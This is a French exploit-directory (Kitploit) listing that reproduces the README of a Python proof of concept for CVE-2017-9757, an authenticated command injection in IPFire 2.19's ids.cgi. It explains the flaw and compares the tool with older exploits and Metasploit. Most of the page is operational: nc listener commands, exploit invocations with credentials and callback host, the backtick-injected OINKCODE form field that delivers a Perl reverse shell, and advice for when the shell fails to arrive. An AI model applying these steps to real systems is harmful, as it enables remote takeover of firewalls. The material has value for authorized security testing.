Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
IPFire_2.19_RCE_Authenticated — Cet exploit est basé sur la CVE-2017-9757 et a été construit à partir de l'exploit original de 0x09AL. | Kitploit
Outils/GitHubGitHub/joaoaugustom/ipfire_2.19_rce_authenticated
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubjoaoaugustom/ipfire_2.19_rce_authenticated

IPFire_2.19_RCE_Authenticated

Cet exploit est basé sur la CVE-2017-9757 et a été construit à partir de l'exploit original de 0x09AL.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
1il y a 12 joursPas encore vérifié

PoC RCE OINKCODE IPFire 2.19

Preuve de concept en Python pour la vulnérabilité d'injection de commande authentifiée dans la page ids.cgi d'IPFire 2.19 via le paramètre OINKCODE.

Réservé aux tests de sécurité autorisés et aux laboratoires de formation. N'exécutez ce PoC que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. L'auteur n'est pas responsable d'une mauvaise utilisation ou des dommages causés par ce code.

Présentation de la vulnérabilité

IPFire 2.19 est vulnérable à une injection de commande système dans le paramètre OINKCODE traité par /cgi-bin/ids.cgi. Le paramètre est incorporé dans une commande shell sans neutralisation appropriée, ce qui permet à un utilisateur authentifié d'exécuter des commandes sur l'hôte IPFire.

La vulnérabilité est généralement identifiée comme CVE-2017-9757 et correspond à CWE-78 : neutralisation inappropriée d'éléments spéciaux utilisés dans une commande système (« OS Command Injection »).

Le PoC public d'origine a été testé contre IPFire 2.19 Core Update 110. Le module Metasploit considère que les versions jusqu'à IPFire 2.19 avec Core Update 110 font partie de sa plage de vérification prise en charge.

Pourquoi ce PoC a été créé

Le PoC Python d'origine d'Exploit-DB effectue une requête de vérification en utilisant :

root@kitploit:~
OINKCODE = '`id`'

Il déclare ensuite la cible vulnérable uniquement si la réponse HTTP contient :

root@kitploit:~
uid=99(nobody)

Cette validation n'est pas fiable. La commande peut s'exécuter pendant que sa sortie est consommée par la commande shell construite par la CGI au lieu d'être reflétée dans la réponse HTML renvoyée au client. Par conséquent, le serveur peut renvoyer une page HTTP 200 normale sans inclure la sortie de id, ce qui produit un faux négatif.

Cette implémentation suit la logique de validation utilisée par le module Metasploit :

  1. Envoyer une requête à /cgi-bin/pakfire.cgi avec une authentification HTTP Basic.
  2. Extraire la version IPFire et la Core Update de la réponse.
  3. Considérer IPFire <= 2.19 et Core Update <= 110 comme apparemment vulnérables.
  4. Envoyer la charge utile de commande à /cgi-bin/ids.cgi dans le champ OINKCODE.
  5. Considérer une réponse autre que 200 comme une requête rejetée ou un problème d'authentification.
  6. Ne pas inspecter le corps HTML pour y trouver uid=99(nobody).

Le PoC utilise également une charge utile de type shell de commande Perl, correspondant à la famille de charges utiles de commande prise en charge par le module Metasploit. Une réponse HTTP réussie ne prouve pas, à elle seule, que le shell inverse s'est connecté ; le listener et le chemin réseau doivent également être vérifiés.

Différences entre les exploits sources

Le critère de réussite important du module Metasploit est qu'un code de réponse inattendu indique des identifiants invalides ou une requête rejetée. Il ne nécessite pas que le corps de la réponse contienne la sortie de la commande injectée.

Prérequis

  • Python 3
  • requests
  • Des identifiants IPFire valides avec accès à l'interface web
  • Un interpréteur Perl sur la cible, normalement disponible sous le nom perl
  • Un listener joignable depuis l'hôte IPFire

Installez la dépendance Python :

root@kitploit:~
python3 -m pip install requests

Utilisation

1. Vérifier uniquement la version de la cible

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --check-only \
  --insecure

Le mot de passe est demandé de manière interactive lorsque --password n'est pas fourni. Cette approche est recommandée car placer un mot de passe directement dans une commande peut l'exposer via l'historique du shell ou la liste des processus.

2. Démarrer un listener

Utilisez un listener sur l'adresse et le port fournis comme --lhost et --lport :

root@kitploit:~
rlwrap nc -lvnp 4444

Si rlwrap n'est pas installé, utilisez :

root@kitploit:~
nc -lvnp 4444

3. Envoyer la charge utile du shell inverse Perl

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Pour le certificat HTTPS auto-signé habituel d'IPFire, --insecure/-k est requis. Ne l'utilisez que lorsque la vérification du certificat n'est volontairement pas possible dans le laboratoire.

URL complète au lieu de l'hôte et du port

La cible peut également être fournie comme une URL de base complète :

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target https://192.0.2.10:444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Ignorer l'empreinte de version

N'utilisez cette option que lorsque la version d'IPFire a déjà été confirmée indépendamment :

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --skip-version-check \
  --insecure

Spécifier un chemin Perl différent

Si Perl n'est pas dans le PATH par défaut de la cible, indiquez son chemin absolu :

root@kitploit:~
--perl-path /usr/bin/perl

Options de la ligne de commande

Interpréter la sortie

HTTP 200 depuis ids.cgi

Cela signifie que la requête HTTP a été acceptée par la CGI selon le même critère pratique que celui utilisé par le module Metasploit. Une réponse HTML normale est attendue et ne prouve pas que la vérification de vulnérabilité a échoué.

Vérifiez le listener pour le shell. Si aucun shell n'arrive, examinez l'adresse de rappel, le routage, les règles de sortie du pare-feu, la disponibilité de Perl et le port sélectionné.

HTTP 401 ou HTTP 403

La requête n'a pas été autorisée. Vérifiez le nom d'utilisateur, le mot de passe, l'URL cible, le port et si le compte peut accéder à l'interface web IPFire.

HTTP 404

L'URL cible ou le chemin CGI est probablement incorrect, ou le service n'est pas l'interface web IPFire attendue.

Version non reconnue

Le script n'a pas pu trouver la chaîne de version attendue dans pakfire.cgi. Confirmez la cible manuellement avant d'utiliser --skip-version-check.

Délai d'expiration de la requête après l'envoi de la charge utile

La commande injectée peut maintenir la requête CGI ouverte tout en tentant le rappel. Considérez cela comme une invitation à vérifier le listener, et non comme une preuve définitive d'un shell.

Flux technique de la requête

Le script utilise l'authentification HTTP Basic et envoie les champs de formulaire suivants à ids.cgi :

root@kitploit:~
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort

La commande est entourée d'apostrophes inversées car l'application vulnérable transmet la valeur OINKCODE dans une commande shell. Le comportement exact de la requête dépend de la version cible et de sa configuration locale.

Limitations

  • Ceci est une preuve de concept, pas un framework d'exploitation complet.
  • La vérification de version repose sur le comportement du module Metasploit référencé ; elle ne garantit pas que chaque cible avec un bandeau correspondant est exploitable.
  • Une réponse 200 confirme que la requête a été acceptée, pas que le shell inverse a atteint le listener.
  • La charge utile Perl nécessite un interpréteur Perl fonctionnel et une connectivité réseau d'IPFire au listener.
  • Le script ne tente pas de contournement d'authentification ni d'exploitation CSRF ; des identifiants valides sont attendus.

Références

  • NVD : CVE-2017-9757
  • Exploit-DB 42149 : Exécution de code à distance sur IPFire 2.19
  • Exploit-DB 42369 : Exécution de code à distance sur IPFire < 2.19 Update Core 110
  • Module Metasploit : ipfire_oinkcode_exec.rb
  • Charge utile de commande Perl Metasploit
  • CWE-78 : injection de commande système

Attribution

Ce projet est une implémentation Python à visée éducative basée sur les recherches publiques et la preuve de concept de 0x09AL, ainsi que sur le module Metasploit maintenu par la communauté Metasploit. Il n'est ni affilié à IPFire, Exploit-DB ou Rapid7, ni approuvé par ceux-ci.

Télécharger l’outil
FeatureExploit-DB 42149 Python PoCExploit-DB 42369 / MetasploitThis PoC
Vulnerable endpoint/cgi-bin/ids.cgi/cgi-bin/ids.cgi/cgi-bin/ids.cgi
Version checkNoneGET /cgi-bin/pakfire.cgiSame Metasploit-style check
AuthenticationBasic AuthBasic Auth headerBasic Auth through requests.Session
Initial validationExecutes `id` and searches the response bodyChecks the version, then sends the payloadChecks the version and uses the HTTP result code
False-negative riskHigh: depends on uid=99(nobody) being reflectedAvoids body-content validationAvoids body-content validation
Reverse shellBash /dev/tcpMetasploit Unix command payloadPerl IO::Socket::INET command shell
TLS handlingCertificate verification disabled in the PoCSSL enabled by defaultVerification is disabled only with -k/--insecure
ConfigurationValues are edited in the sourceMetasploit optionsCommand-line arguments
OptionDefaultDescription
-t, --targetRequiredTarget host/IP or complete base URL
--schemehttpsScheme used when the target is only a host/IP
--web-port444IPFire web interface port
-u, --usernameadminIPFire username
-p, --passwordPromptPassword; omit to enter it without echo
--lhostRequiredListener address reachable from IPFire
--lport4444Listener port
--perl-pathperlPerl executable on the target
--timeout10HTTP timeout in seconds
-k, --insecureDisabledDisable TLS certificate verification
--skip-version-checkDisabledSkip the pakfire.cgi check
--check-onlyDisabledPerform only the version check